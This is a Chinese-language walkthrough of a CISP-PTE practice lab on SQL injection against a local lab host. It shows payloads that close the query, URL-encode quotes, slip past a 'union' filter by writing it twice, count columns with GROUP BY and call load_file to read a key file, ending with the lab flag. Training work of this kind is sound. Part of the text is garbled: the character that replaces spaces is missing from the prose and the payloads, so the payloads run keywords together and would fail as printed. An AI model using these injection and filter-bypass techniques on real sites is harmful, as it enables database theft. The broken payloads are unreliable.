天天看點

cisp-pte基礎題目之SQL注入

cisp-pte基礎題目之SQL注入

SQL注入(SQL Injection)是一種常見的Web安全漏洞,主要形成的原因是在資料互動中,前端的資料傳入到背景處理時,沒有做嚴格的判斷,導緻其傳入的“資料”拼接到SQL語句中後,被當作SQL語句的一部分執行。進而導緻資料庫受損(被脫庫、被删除、甚至整個伺服器權限陷)。

靶場一:

cisp-pte基礎題目之SQL注入

第一步:點選進入答題,我們可以看到目前執行的SQL:select * from article where id= ('1')

cisp-pte基礎題目之SQL注入

第二步:閉合id找注入點

在id=1後面添加值,發現它過濾了空格,那後面我們用來代替空格

cisp-pte基礎題目之SQL注入

構造payload http://192.168.133.140:81/vulnerabilities/fu1.php?id=1')and1=1#,發現它顯示錯誤。

cisp-pte基礎題目之SQL注入

可以猜測是特殊字元過濾,我們用%27代替’,用%23代替#,顯示正常,證明猜測正确。

cisp-pte基礎題目之SQL注入

測試payload http://192.168.133.140:81/vulnerabilities/fu1.php?id=1%27)and1=1%23

                     http://192.168.133.140:81/vulnerabilities/fu1.php?id=1%27)and1=2%23

cisp-pte基礎題目之SQL注入
cisp-pte基礎題目之SQL注入

建構好payload我們還可以用來判斷該題是否過濾後面我們需要用到的字元union,select...

根據判斷字元為空是否報錯,我們了解到它過濾了union,後面用到的時候我們可以考慮用雙寫繞過。

cisp-pte基礎題目之SQL注入
cisp-pte基礎題目之SQL注入

第三步:判斷字段數

“Group By”從字面意義上了解就是根據“By”指定的規則對資料進行分組,所謂的分組就是将一個“資料集”劃分成若幹個“小區域”,然後針對若幹個“小區域”進行資料處理。

http://192.168.133.140:81/vulnerabilities/fu1.php?id=1%27)and1=1groupby1%23

...

http://192.168.133.140:81/vulnerabilities/fu1.php?id=1%27)and1=1groupby5%23

當group by 到5時,發現報錯,說明字段數為4。

cisp-pte基礎題目之SQL注入
cisp-pte基礎題目之SQL注入

第四步:查找回顯點

http://192.168.133.140:81/vulnerabilities/fu1.php?id=1%27)and1=2ununionionselect1,2,3,4%23(and語句)

http://192.168.133.140:81/vulnerabilities/fu1.php?id=-1%27)or1=2ununionionselect1,2,3,4%23(or語句)

發現2,3,4皆有顯示。

cisp-pte基礎題目之SQL注入
cisp-pte基礎題目之SQL注入

第五步:擷取key

由于題目中說 通過SQL注入漏洞讀取/tmp/360/key檔案,答案就在⽂件中。讀檔案可用函數load_file,由于回顯點有很多,我們可以選擇其中一個,構造最終的payload。

http://192.168.133.140:81/vulnerabilities/fu1.php?id=1%27)and1=2uniuniononselect1,load_file(%27/tmp/360/key%27),3,4%23

成功擷取key:8b3h4a7v

cisp-pte基礎題目之SQL注入